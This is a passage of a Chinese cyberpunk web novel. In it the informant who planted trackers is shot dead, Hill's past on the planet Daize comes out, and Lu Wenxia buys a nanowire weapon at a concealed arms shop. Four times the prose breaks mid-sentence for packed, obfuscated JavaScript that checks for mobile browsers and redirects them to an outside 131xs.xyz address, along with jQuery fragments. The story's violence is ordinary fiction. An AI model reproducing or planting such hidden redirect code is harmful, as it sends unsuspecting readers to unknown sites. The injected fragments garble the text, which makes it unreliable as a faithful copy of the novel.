这是M-洛克病毒之所以闻风丧胆，戴泽星之所以至今仍然废弃的原因。 关于这两位幸存者的资料少得可怜，甚至连戴泽星的资料也所剩不多。 曾经的灭顶灾难在时间的长河里逐渐褪色。 路问夏快速看完这些信息，心上像是堆积着沉重的石头。 她好像有点儿明白，为什么维拉对自己没信心了。 夏侯雪敏锐地捕捉到了空气中的忧愁。 她不喜欢这种悲伤的氛围，于是直接打断了话题。 “吊坠赎回来了。”夏侯雪将吊坠放回到维拉的手里，“这是个好兆头，不是吗？” 维拉按了一下水滴状金色吊坠的侧边，里面的照片重见天日。 旧日回忆涌上心头，维拉的眼眶还是不禁泛了红。 “嗯。”维拉点头，声音带着浓重的鼻音。 亮晶晶的珠子在眼角一闪而过，维拉抬头的时候，就又变回了那个刀枪不入、无坚不摧的顶级雇佣兵。 滴滴—— 夏侯雪收到了一条新的终端信息。 「我们拦截住了想要溜走的前台。」 “你先休息一会儿。”夏侯雪朝路问夏挑起眉毛，“现在，我们要去解决一个小麻烦。” 路问夏点头，立刻明白了什么，快速跟上夏侯雪风风火火的步伐。 门口，两个身材健硕的大汉把唯一的出口拦得严严实实，居高临下地看着妄图出去的前台。 “你们凭什么拦我？”前台仰着头，理直气壮地叉腰问道。 保镖没有回答，目不斜视地坚守岗位。 “你们！”前台气急，但双拳难敌四手，只好气鼓鼓地坐回了位置。 等路问夏和夏侯雪赶来的时候，看到的就是前台护士伺机而动想要偷跑的场面。 “我们聊聊？”夏侯雪朗声道，笑容明艳，却带着不容置喙。 保镖们看到自己的老板出现，姿态毕恭毕敬。 前台只扫了两眼，就明白了一切。 前台慢慢稳住呼吸，双手不自觉攥紧，明知故问道：“大明星要和我聊什么？” 路问夏记起上次跟踪器的事情，她不动声色观察着前台眼前的桌面，以及前台那紧紧攥着的拳头。 “聊聊你手里拿着的是什么。”路问夏逼近。 前台护士手一抖，但还是嘴硬否认：“能、能有什么......” 下一秒，夏侯雪啧了一声，用力捏住前台的手腕。那力道不小，前台刚坚持了没两秒，就呲牙咧嘴地松开了掌心。 “能有什么？”夏侯雪冷笑，“不就是想要故技重施么？” 说着，夏侯雪将将追踪器扔下。追踪器自由落体在黑糊糊的地面上，仍然冒着红光。 “说说吧，是谁给让你做的。” 夏侯雪一边说着，一边啪的一下踩碎追踪器，用鞋跟反复地碾它。 “如果你再不说实话，下场和这个追踪器一样。” 路问夏这个旁观者看得都有些毛骨悚然了。 维拉和夏侯雪怎么都挺...... 心狠手辣的啊！ 前台一开始还想再坚持一会儿，但在看到几个虎视眈眈的彪形大汉的时候，还是秉承小命要紧的原则，吓得连忙开口。 “我说我说！是猎鹰集团黑市的线人，说有她的消息就汇报。”前台看了一眼路问夏，“那个......我也是迫不得已的啊！！” 果然是猎鹰。 路问夏想，也许可以顺着前台这条线，找到这条堵塞线路上的其他突破口。 “把你的线人约出来。”路问夏说道。 “啊？”前台眼神闪躲，眼睛微微泛红，“你......你不是说我说实话就放过我吗？” “不是我说的。”路问夏无辜地朝她眨眨眼睛，“但如果你不照我说的做的话，我觉得你今天很难离开这里。” “对吧？”路问夏朝夏侯雪投去一个眼神。 夏侯雪点头，拍拍手朝保镖们示意。“当然，现在他们都听你的。” 前台在心里盘算着各种选择，最终还是认命般低下了头。 她深呼吸道：“我只负责把他约出来，然后你们就要放了我。” “没问题。”路问夏点头，她又不是什么嗜血的杀手，没有取人性命的癖好。 前台咬着牙，手指颤抖着在终端里给一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15421361|169068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代号叫「独眼蛇」的人发信息。 夏侯雪走到保镖队队长的身旁，低声说了两句话，之后手里就拿着一个黑色的小方块。 “戴上这个。” 前台面露难色，但却架不住保镖们威胁的眼神，只好藏在了口袋里。 五分钟后，「独眼蛇」回复了信息，和前台约好了在幸福诊所北面两条街道的小巷见面。 前台忐忑不安地来到了和线人约定好的接头地点，路问夏和夏侯雪躲在不远处能望见的露台蹲下观察。 保镖们则分布在身后和各个地方静悄悄地保护着。 在前台到达不久后，一位中年中年男子，双手揣兜观察了一下四周，才在前台面前站定。 男子脸上带疤，一只眼睛被换成红色义眼，他不耐烦地抽出一只手，嘴里叼起一根烟，却没点燃。 “你说有关于路问夏的重要情报，是什么？” 夏侯雪此前在前台身上放的是窃听器。 现在，前台和「独眼蛇」谈话的声音正清晰地传回她们的终端里。 “我、我又看见她了。”前台尽量克制声音中的颤抖，“但我没来得及给她放定位器。” 独眼蛇探究的眼光落在前台护士的身上，阴沉的黏黏糊糊的，让前台不禁颤抖了下身子。 然后，独眼蛇的义眼缓缓往下扫着，带着玩味儿地勾起嘴角。 “是没来得及......”独眼蛇的声音带着嘶哑，阴沉又吓人，“还是......被发现了啊？” 没等前台有任何回应，独眼蛇就以迅雷之势掏出了一只揣在兜里的枪。 砰的一声。 一个窟窿出现在了前台的额头上。 前台瞪大了眼睛，直挺挺地向后倒去，落在地上掀起了一层灰。 一切发生得太快，快到路问夏和夏侯雪完全没来得及反应。 两人快速对视一眼。 夏侯雪立刻切断了窃听器的信号。 路问夏则接过终端，在上面敲打着一串串代码，来消除窃听器存在过的电子痕迹。 空无一人的街道上，开枪的独眼蛇扯起嘴角，俯视着前台的尸体，抬脚踹了一下。 随后，他才缓缓蹲下身子，从前台的口袋里将那个黑色的窃听器拿了出来，对着天空，用那义眼扫描。 但显然，夏侯雪和路问夏清除痕迹得很及时，独眼蛇什么都扫不出来。 独眼蛇后来还是将窃听器带走了。 他再次确认前台护士的死亡后，才慢条斯理地点燃了嘴上叼了许久的那根烟，扬长而去。 前台的尸体就这样躺在那小巷里。 没有人收拾，亦无人在意。 甚至，就在独眼蛇走后不久，有人从这条小巷经过的时候，显然看到了地上的尸体，却依然不为所动地走开了。 路问夏站在露台往下望的时候，一种毛骨悚然之感顺着脊椎爬上了心头。 明明自己也经历过生死存亡的危机时刻，但面对一条真实的生命在眼前快速消亡的时候，路问夏还是止不住心颤。 赛博新世界并不是虚拟的游戏世界。 此前黑衣人的死是真实存在的，护士的死是真实存在的，悬在自己和维拉头顶的名为生死的利剑也是真实存在的。 死亡在这里太容易，人命在这里太不值钱。 15. 心脏 “你......你没事吧？”夏侯雪看着路问夏完全呆滞僵硬的身体，轻轻拍了下她肩膀。 路问夏一下又一下调整着呼吸。 血液从心脏出发，流动到指尖，真切地呼唤着路问夏。 路问夏的眼神飘向小巷里的那具尸体，心中五味杂陈。 “线索又断了。” 夏侯雪朝身后的保镖挥了挥手，说道：“仔细检查一下她的尸体，看看有没有关于独眼蛇或者其他什么线索。” “好的。” 保镖们很专业，快速检查完了前台护士的尸体，并出于人道主义地拨打了殡仪馆的电话。 只不过，涉及黑市的服务总是要花费比其他地区更长的时间。 好在现在不是盛夏时节，尸体的腐败在可控的速度。 保镖回到无人的楼顶，向夏侯雪汇报他们发现的情况。 “对方使用的是12.7毫米口径的手枪，子弹上刻有安戈洛军工的标志，初步判断，应该来自它们公司最常见的动能左轮手枪。” “那就是没有收获。”夏侯雪啧了一声，追问道，“死者的身份信息查了吗？有什么有用的信息？” 保镖点了下头。“我们查了身份芯片卡。死者名叫席拉-奎克，之前在一家科技公司因为数据盗窃被开除起诉，面临十万星币的巨额罚款。” “那她在黑市做赚黑钱的线人就说的通了......”路问夏若有所思地揉了揉太阳穴，“缺钱。” 大概是同病相怜的缘故，路问夏觉得自己心跳都漏了一拍。 “是啊。”夏侯雪拍拍路问夏的肩膀，“你可不能因为缺钱误入歧途，不让我还要找人捞你。” 难过一闪而过，取而代之的情绪变成了无语。 “......你能不能盼我点儿好的？” 夏侯雪和路问夏回到幸福诊所的时候，希尔正坐在前台的椅子上。 她的一头红发在顶光的照耀下显得更为张扬。 “你们把我的员工拐去哪里了？”希尔好整以暇地质问。 “呃......”路问夏想到那具尸体，在心里组织着合适的语言。 “我们帮你清除了一颗定时炸弹。”夏侯雪不愧是新闻主播，深谙语言的艺术，“不用谢。” 得知噩耗的希尔做了个深呼吸。 希尔：“是你干的？” “独眼蛇干的。”夏侯雪耸耸肩，“听说是猎鹰在黑市的线人，你认识他么？” 希尔皱起眉头：“有所耳闻。但猎鹰他们有自己常去的医院，我没接待过。” 很好，看来线索无论如何是断了！ 眼下的事情乱成一团，路问夏叹了口气。 她为自己生死未卜的命运担忧。 “对了，虽然席拉-奎克不是你们杀的，但是你们对我的生意还是造成了不可抗的影响。” 希尔话题又绕回到了前台身上，嘴角勾起神秘的微笑。 路问夏心领神会，然后断然拒绝：“要钱没有。我们不向你收费已经是友情价了。” 希尔的话被堵在了喉咙：“......” 夏侯雪的终端又震动起来。 她看了一眼消息，抱歉地说道：“我有一个临时的工作，有事给我发消息。我留几个保镖在这里，不知道猎鹰的人会不会再来。” “好。” 说完，大忙人夏侯雪就匆匆消失在视野里。 清冷的医院大厅里，独留下路问夏和希尔两个人，默默对视无言。 半晌，路问夏率先打破沉默。 “和我讲讲维拉的情况吧。” 希尔短促地吸了一口气，长长地舒出。 “她心脏的各项指标比想象中的更糟糕，按照这样下去，我之前说的一年存活期可能都达不到。” 路问夏心中顿时升起一阵无力感。 明明，明明自己和维拉充满希望的生活才开始了没几天的...... 她觉得，至少自己得为维拉做点儿什么。 “关于它的最后线索，在戴泽星？”路问夏问道。 “对，当时戴泽星的实验室应该已经进入到样品测试的阶段了，整个学术界都很看好这款划时代的产品。” 聊到戴泽星，希尔神情越发严肃，眉头紧紧皱在一起。 “但是，在戴泽星的那一场灭顶之灾后，研究成果都埋在了那颗几近废弃的星球的实验室里。” 路问夏疑惑地提问：“就没有人撤退的时候带上资料吗？” “撤退令下得太紧急，德洛马斯派来的星际飞船不能待太久，资料和样品是带出去了一份，但后来在隔离中不知所踪了。你知道的，当时的研究员们都感染病逝了......” 说到这里，希尔的眼角似乎闪烁着几颗微不可查的晶莹泪珠。 路问夏好像第一次见希尔医生对钱以外的东西露出如此动容的表情。 “德洛马斯后来一直没重新启动这个项目吗？” 希尔摇摇头，眼神在不经意间闪烁。 “可这三年来，难道没有别人想要吗？只要拿到赛博心脏的核心技术并且推行上市，他一定能赚得盆满钵满吧？”路问夏疑惑地追问。 “这我就不知道了。”希尔回避地移开对视的眼神。 路问夏总觉得，希尔医生应该知道更多的信息。 但她不愿意说，路问夏也没办法强迫她。 话题戛然而止。 “我去看看维拉。” “好，她应该睡下了。” 路问夏走进家徒四壁的病房，维拉确实还在梦乡。 她干脆搬了一把椅子坐到了维拉的床边，一边在终端上进行着更为深度和详细的搜索。 实际上，确实有不少公司对戴泽星上残留的赛博心脏资料和样品虎视眈眈。 两年前，某环保机构就打着对星际环境关心的幌子，全副武装前往戴泽星进行取样。 只可惜，得到的结果并不好，高浓度的M-洛克病毒似乎并没有因为失去可寄生的宿主而消亡，依旧活跃在戴泽星。 一年前，有其他公司贼心不死，继续派人前去。 那时候的新闻写的是病毒浓度降低了，但导致其他有毒气体浓度增加，人体所需的氧气含量不足。 戴泽星成为了生物和植物都无法在此生存的废弃之地。 关于戴泽星最新的转机出现在三个月前。 星历2408年3月13日，德洛马斯授权一支十二人的清洁小队，开启了对这颗休眠星球的重启。 事情是好事，但让路问夏感到奇怪的地方在于，从3月13日开始，就没有关于戴泽星的任何新闻了。 就像是德洛马斯公司入场，舆论便消失了似的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15421362|169068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路问夏撇嘴，这家科技公司的势力，可能比自己想象中更厉害。 “你在看什么......”维拉醒了，脸色依旧苍白，“看赛博心脏的内容吗？” “嗯。” 路问夏关闭终端，觉得救维拉这事真有点儿棘手。 看着路问夏舒展不开的眉头，维拉笑着说道：“没事的，反正自从我做雇佣兵的那天起，我早就做好准备，随时迎接死亡了。” 不知道为什么，路问夏听到这句话的时候心脏莫名抽了一下。 病房里很安静，安静得能听到彼此的呼吸和心跳声。 路问夏打破沉默：“你是什么时候开始做雇佣兵的？” 虽然不知道自己以前是不是问过维拉这个问题，但路问夏可以说自己还在失忆。 所幸，维拉并没有问。 她抬眸盯着天花板，回忆了一下：“三年前。” 三年前？又是星历2405年？ “三年前，你说希尔救了你，究竟发生了什么？”路问夏觉得有一些线索正在自己慢慢连成线。 维拉深深地吸了一口气，下定决心般地坐起，将身子靠在床头。 她把被子边角整理，抚平每一个褶皱，这才语气平缓地说道：“我和希尔是五年前在戴泽星认识的。” 什么？ 戴泽星？ 只第一句话，路问夏就感觉到了不同寻常的气息！ “我是巨石集团的安保，派遣到德洛马斯位于戴泽星的实验室，保护高层领导安全。” “希尔是戴泽星德洛马斯实验室里的研究员，她从医学院毕业后就开始从事研究工作了。” 能够进德洛马斯公司从事最顶尖义体科技的研究，希尔医生的水平毋庸置疑。 而且，这也解释了为什么刚才在聊到戴泽星的时候，希尔的表情如此奇怪。 “我们在实验室认识，经常会一起去食堂吃饭，偶尔在休息日探索戴泽星荒无人烟的角落。” “那时候，希尔这个人还没那么爱财如命。” 维拉在讲述这段过去的时候，嘴角不自觉地扬起。 路问夏能够感觉到空气中洋溢的快乐。 “在M-洛克病毒爆发前的三个月，我被巨石集团开除了，原因是没保护好阿贝-瓦伦。阿贝-瓦伦是巨石集团在戴泽星的项目负责人。” 维拉嘴角耷拉下来，语气带着嘲讽。 “可我明明都快没命了，而阿贝-瓦伦只是擦破了点皮而已。” “如果不是希尔悄悄救了我，我可能已经死在戴泽星了。” 在某些高高在上的人的眼里，人和人的价值是不同的—— 有的人重于泰山，有的人轻如鸿毛。 路问夏清楚地明白这一点，曾经在公司的时候，她也是那个可以随时被抛弃的棋子。 她和维拉一样，是牺牲品，也强烈厌恶着这种扭曲的价值观。 “不过这让你没遇上病毒爆发，就回到伍德星了。” 维拉点头。 “对，算是因祸得福。” “那希尔她......” 路问夏话没说完，就被打断。 “我怎么了？” 病房门被推开，熟悉的红头发闯入眼帘，话题的主角希尔登场。 路问夏直截了当地问道：“你是当年两个幸存者之一吗？” 16. 还债 大概是没想到路问夏怎么直接，微愣片刻后，爽朗地大笑起来。 希尔听到了一部分他们的谈话，她直视路问夏的眼睛，坦然地点头。 “没错。” 在承认之后，希尔的眼神再度移开，轻飘飘地结束了这个话题。 从刚才对视的那一秒，希尔深邃的浅棕色瞳孔里，路问夏隐隐约约能窥见一段灰色的过去。 路问夏想，看着熟悉的人一个个消失在生命里，那滋味应该不好受。 希尔显然不想和路问夏谈论这个话题，转身朝着病床上的维拉问候。 “你现在感觉怎么样了？” 维拉点点头：“没什么大事，应该今天就能回去，不给你添乱。” “我可没催你回去。”希尔挑眉。 “床位费免费了？” 希尔眼睛一下瞪圆：“那没有的。” 总之，当天晚上，维拉支付了希尔自己的床位费，乘坐着夏侯雪的跑车，回到了大别墅了。 “路问夏现在还是在我那儿比较安全，维拉你的身体也能得到更好的休息。” 夏侯雪的理由无懈可击，维拉也不再拒绝。 考虑到目前自己还欠夏侯雪2万3000星币，路问夏本打算重回虫巢接点委托挣钱。 但奈何脚步在靠近卧室的时候，受到了一股不知名力量的吸引，让路问夏不知不觉躺在了柔软的床上。 好好休息才能更好地赚钱！ 路问夏想着，很快进入了梦乡。 在夏侯雪家睡觉，让这几天包围在未知危险中的路问夏，感觉到了特别的安全感。 以至于到第二天日上三竿，路问夏都还没从睡梦中苏醒过来。 甚至，最后是“病号”维拉把她叫醒吃午饭的。 “早睡早起有助于身体健康。”餐桌上，维拉认真地把餐盘摆放整齐，对路问夏说道。 路问夏心虚地挠挠头，讲话声音越来越轻。 “我早睡了......” 坐在另一侧的夏侯雪默默补刀。“就是没起来罢了。” 被戳中痛处的路问夏眯起眼睛看向夏侯雪。 “知名主播今天不上班吗？” 夏侯雪红唇轻启：“我负责的是早间新闻，现在已经工作完下班了。” 路问夏闭上了嘴巴。 维拉看着两人拌嘴的样子，不禁嘴角扬起。 “对了，傍晚四五点的时候带你去个地方。”维拉对路问夏说道。 路问夏疑惑。“什么地方？” “一个帮助你更好自保的地方。” 维拉没有说得很直白，勾起了路问夏的好奇心。 - 午饭过后，维拉和夏侯雪相约进了健身房。 一个做康复训练，另一个是常规健身。 而路问夏在婉拒了两人的邀请后，重新登陆上虚拟网进入虫巢。 她打开用户面板，看了一眼信息，先是长长叹了口气。 用户名：007 接单数量：23个 五星好评数量：21个 五星好评率：91.3% 距离升到2级，她还需要39个好评。 之前因为调查自己被追杀的事情耽搁，后来又零零碎碎很多事情牵绊，自己的升级之路真是路漫漫兮其修远。 路问夏打起精神，浏览着委托列表里的不同任务。 随后，她随机挑选了几个，快速进入工作状态。 那是一种屏蔽了所有干扰，大脑飞速运转的感觉。 操作的每一步都如同抽丝剥茧般顺畅，记忆宫殿里，关于代码的知识点都清晰可辨。 路问夏在三个小时里，没有休息地连续接下里15个委托。 五星好评数量一下增加到了36个，五星好评率也提升到94.7%。 更重要的是，这15个委托让路问夏的钱包里多出了2万4000星币，可以把欠夏侯雪的钱还了！ 路问夏心情愉悦。 一切都很好，如果她的脑袋不疼的话。 愈发强烈的眩晕感袭来，路问夏不得不停下。 从虚拟网回到现实的路问夏大口大口喘着气。 自己这具虚弱的身体阻挡了挣钱的步伐。 只是，在加强体魄去锻炼和回到床上去补觉的选择间，路问夏脚步虚浮地选择了温暖的大床。 她在终端里定了一个半的闹钟，刚沾到床的片刻，路问夏就打了个哈欠，一秒入了睡。 叮咚—— 好困，路问夏翻了个身，把被子盖在耳朵上，隔绝闹钟的声音。 叮咚、叮咚—— 闹钟没有要停下的意思，路问夏却置若罔闻。哪怕精神清醒了，她的身体也不想动弹。 在闹钟响了足足十分钟的时候，夏侯雪砰砰地敲着门，朗声道：“债主叫你起床。” 路问夏无法，只好从床上慢吞吞爬了起来，低垂着脑袋开门。 “债主好。”路问夏拖着调子，身体倚靠在门上。 “维拉等你呢。”夏侯雪下巴朝着楼下的方向示意。 “我马上就来！”路问夏朝着楼下喊来一声，然后转头看向夏侯雪。 “债主，手腕给我一下呗。” 夏侯雪挑眉，露出右手的白皙手腕，左手食指和中指搭在手腕靠近掌根的位置。 在这个赛博新世界，除了通过终端感应芯片来付款，人与人还可以皮肤感应来进行转账。 只不过，为了防止误触，需要双方同时按压芯片上的一个皮下按钮作为安全机制。 路问夏按压着芯片靠近，将手腕置于夏侯雪的手腕之上。 滴滴一声，转账通过生物信号传输完成了。 路问夏道：“你现在可不是我的债主了哦！” 夏侯雪看着账号上的2万3000星币，嘴角扬起。 “结清。” 路问夏长舒了一口气，对夏侯雪露出一个释然的笑容。 无债一身轻，此话不假。 还完钱，路问夏的钱包里还剩下1万9500星币。 这些钱不算多，但应该够和维拉出去一趟了。 - 维拉终于把自己的那台和北高地格格不入的破旧皮卡拖来了，现在就停在别墅门口。 皮卡只有两个座位，路问夏需要拉着座椅将整个人提起来才能坐上副驾。 “我们要去哪儿？” “新多亚港。” 路问夏并不知道新多亚港在哪里，又长什么样子，但她能从地图上观察到，维拉开着车从北高地一路向南飞驰。 期间，车子路过了曾经居住过的滨河区。白日的街道比之前还要热闹，人们无视车流闲庭信步。 以至于，维拉不得不在狭窄的机动车道上一脚油门一脚刹车地缓慢挪动车子。 在距离港口三、四公里的时候，路问夏看到了远处天空中的星星点点。 “那是什么？” 维拉脚下的油门未松，解释道：“星际飞船。新多亚港是伍德星和其他星球的交通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427348|169068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枢纽，无论是客船还是货运，都要从这儿进出。” “看起来频次很多的样子。” “毕竟伍德星是除了桑特星外，全星际居住人数最多的星球了。其他无论是因德斯星、萨科星还是兰江星都基本是单产业支柱的星球，发展规模都不大。” 路问夏点点头。 维拉又朝南开了一公里，方向盘向右，拐进了一条狭窄的小巷，狭窄到如果会车，得有一方直接倒车回到口子。 但好在，和隔壁三条街的繁忙港口不同，这里人烟罕至。 缓慢行驶了两百米后，维拉驾轻就熟地拐进了另一条巷子，那里有一小片露天停车场。 “到了。” 维拉下车，领着路问夏走到了停车场不远处的一面灰色金属做成的墙前。 墙上光秃秃的，一个牌子或者标识都没有。 “这里吗？”路问夏有些怀疑地指了指墙。 维拉悄然一笑，在手机上发了条信息。 半分钟后，嘎吱一声响起。 看起来毫无破绽的墙突然多了一条缝隙，严丝合缝的金属从中间分开。 紧接着，一扇门形状的窟窿就在墙上出现。 路问夏看着凭空出现的空间，眼睛亮了起来。 下一秒，一个留着板寸头、满身肌肉、体格比维拉更壮的女人笑着迎接，将两人带进门内。 两人刚进室内，金属墙又嘎吱着自己合上了。 “维拉，你又带着朋友来了？”老板爽朗地笑了两声，声如洪钟。 “我来介绍一下。”维拉站在两人中间，两手向上。 “这位是路问夏，现在是我的室友。这位是时蓝，这家武器店的老板。当然，从前门进的话，这是家洗车行。” 路问夏伸出手。“你好。” “你好。”时蓝笑着握住，力气大得出奇，让路问夏的眉头不自觉皱起。 “抱歉。”时蓝赶紧松手，然后转头看向维拉，“你这朋友得加强锻炼了。” 维拉笑笑。“所以这不是找你买不需要力量和练习，就能迅速制服对手的武器么。” “哈哈哈，那看来这里八成的武器你都用不了。”时蓝爽朗地笑起来。 路问夏：“......” 路问夏无法反驳，只好四下打量着这间武器铺子。 与其说是武器店，不如说更像是堆积着武器的仓库。 排列紧凑的铁架子挨着彼此伫立着，每个架子都有两米高，上面按照分类满满当当不要钱似的摆满了武器。 别说，这一看，路问夏心中就感觉到了极大的安全感。 时蓝的体格比较大，于是坐在了一旁的板凳上，一边擦着桌上狙击枪的枪杆，一边热情地招呼道：“那我推荐左边第二个架子，你们先随意挑选看看。” 路问夏和维拉在狭窄的货架通道走着，循着时蓝的指示，穿过一整架子冒着光亮的冷兵器，找到了摆放着更为小巧便携的武器的架子。 这上面的武器路问夏看不太懂，于是她干脆站在一旁看着维拉在架子上挑挑拣拣。 “这些是......暗器么？” “对，都是一些飞镖、飞针还有电磁信号干扰器之类的，很常规的款式。” 维拉挑了半天，显然对这些都不太满意。 “路是一个黑客。”维拉转头，对着时蓝说道，“来点儿硬家伙？” 看来维拉知道时蓝的库存可不止这些。 “你这是来打劫啊。”时蓝放下擦得锃亮的狙击枪叹气。 17. 武器 话虽如此，时蓝还是爽利地带着她们穿过了整条货架通道，来到了另一面墙前。 这次路问夏明白了。 果然，时蓝在自己的终端里按了下某个按键，金属墙嘎吱分开，另一个新的空间出现在了眼前。 “打劫这不是也得经过你的同意么。”维拉眉眼弯弯，看着时蓝的「秘密基地」。 “你少来。”时蓝啪的一下拍了下维拉的后背，眼神探究。 “不过，虽然你经常带朋友来照顾我的生意，但这么上心的可不多啊。” 维拉笑着，没仔细说。 “路她以前帮过我不少，现在她遇到点棘手的事。” “需要我帮忙吗？”时蓝也没追问，反而伸出援手。 “帮我找一个适合她的武器，我就很感谢了。” “没问题。” 新房间是蓝色色调的小隔间，面积仅是外面的四分之一。 比起仓库，这里的灯光更为昏暗，连温度都比外面都低了两度。 房间靠墙是一组柜子，一共三个。 这里的柜子不是铁架子大通铺，而是铺着黑色内衬布的一格一格的木质单间。 仅从保存的方式就能看出这里的东西价值不菲。 时蓝打开最左侧柜子，她的身高让她轻松地拿到了摆放在最上面的东西。 “试试这个。” 时蓝笑着递给了路问夏一只手套，然后才把取下的一圈卷起来的金属线递给她。 “很锋利，记得给右手带上手套。” 路问夏只有一只手臂被换成了义肢，另一只手臂还是血肉之躯，一不小心就会被划出道口子。 那金属细线的直径仅仅有几微米，落在时蓝巨大的手掌心显得格外小巧。 路问夏很认真地张大眼睛，才能用肉眼观察到细线在灯光下散发的蓝色光泽。 “是......纳米线？”维拉一下认出了那暗器的名字。 “没错，这可是黑客专属的稀有货，我这儿可就一个。”时蓝一副你俩赚到了的表情。 路问夏给右手戴上手套，用左手小心谨慎地将纳米线放在掌心观察。 “通过电磁可以快速展开近身攻击，切割力把普通盔甲切割不在话下。” 时蓝一边说，一边笑着把路问夏按在座位上。 “当然，你也可以用你的黑客技术，给它加点其他功能，比如黑入某些设备，纳米线本身配有微型探针可以实现。” 说完，时蓝就干净利落地把纳米线安装进了路问夏义肢的左手臂的腕部。 一阵微弱的电流从身体穿过，神经网络很快和新安装的纳米线连接上了。 “这儿是发射键，纳米线会弹射出去。你也可以当鞭子挥舞，但我建议你先练习一下。” 路问夏感受着奇妙的感觉，转动了下左手手腕。 正想试一下的时候，时蓝一把把她摁在座位上。 “先克制一下试用的冲动。”时蓝的大手没用力，就把路问夏摁得死死的，“我怕你把我误伤了，这纳米线很锋利的。” 路问夏：“......” 她现在觉得维拉锻炼身体的提议也挺有意义的。 时蓝的洗车行简直像一个无限扩张的神秘空间。 她带着路问夏和维拉走回到了货架林立的仓库，转头，走向另一面金属墙壁，在终端上控制着墙壁的开合。 果然，这里也有一间新房间。 这个房间空空荡荡十分宽敞，对面的墙上贴着几个靶子，又摆了几个假人。 显然，这里是用来测试武器的地方。 “行了，我们出去，你自己在这儿试一下。” 时蓝把路问夏带到这里后，快速退了出去，把墙壁无情地合上。 维拉在缝隙里给了路问夏一个加油的眼神。 砰—— 看着严丝合缝的入口，路问夏算是明白为什么这里要设计成全金属构造了。 防火防盗还防弹。 路问夏站在测试间的中央，感受了一下义肢上新连接的纳米线，紧张小心地按下发射键。 嗖的一下，纳米线就从小孔中飞射而出，飞行距离相当远，且啪的一下就刺在了墙壁上，留下了一道浅浅的划痕。 要知道这间屋子的墙的材料可是高强度的金属材料，可见这纳米线的穿透力有多强。 但路问夏很快就发现，一旦按下发射键，纳米线就完全飞出去了。 想要把纳米线当作鞭子使用，必须要在最后抓住线头，这需要极快的反应能力、不俗的臂力以及很强的控制力。 虽说路问夏的左臂是义肢，从性能上说比她右臂强，但她整体体能太差，属于心有余而力不足。 试了几次，路问夏的左臂都慢半拍。 每次她只好尴尬地先把落在地上的纳米线捡起来，重新装回腕部的装置里。 呲啦的声音打断了路问夏。她循着声音发现了天花板上明晃晃的摄像头和扩音器。 “咳咳，维拉的黑客朋友。”时蓝的声音清晰地传来，“看起来你对我们的产品很满意？” 虽然这纳米线生生被她用成了一次性暗器，但武器本身没有问题。 于是，路问夏点头回应：“挺好的。” 时蓝：“那你把纳米线收好。” “......好。” 路问夏觉得这是时蓝对自己的极度不信任。 但她只好照办，因为现在大门的遥控掌握在时蓝手里。 “这款纳米线多少钱？” 出来之后，路问夏问出了另一个关键问题。 “既然是维拉带来的，这还是没附加其他功能的基础纳米线。” 时蓝思考片刻，说道：“给你打个折吧，1万9千星币。” 1万9千星币？！ 纳米线果然是价值不菲啊！ 这要是付完款，自己又变成了兜里只剩下500星币的穷鬼了。 路问夏心在滴血。 情感上不想接受，但理智告诉自己，在这个死亡随时会降临的赛博世界，她必须有防身之术。 不过，时蓝给出的价格已经非常优惠了。 “时蓝你够大方啊！平时这武器要卖2万多星币吧？”维拉的话佐证了这一点。 “友情价。”时蓝拍了拍胸脯，大方回应。 既然如此，路问夏也挺干脆。 她将手腕悬在时蓝的终端上完成了付款。 “谢谢惠顾！”时蓝笑容灿烂，“下次需要什么别的装备，欢迎随时来找我啊。” 路问夏带着新装备回到车上，有感而发：“你的这个朋友倒和希尔牌铁公鸡不一样。” “时蓝确实一向大方。”维拉的脸上还是带着隐隐的担忧，“我刚还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437376|169068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想问你，你的钱包够付款吗？” 自己在维拉心目中，原来就是这么一副贫穷形象啊...... “够是够了，就是现在钱包只剩下500星币了。” “那......我先请你吃晚饭？” 解决掉护士前台后的这几天，路问夏的生活回归了短暂的风平浪静。 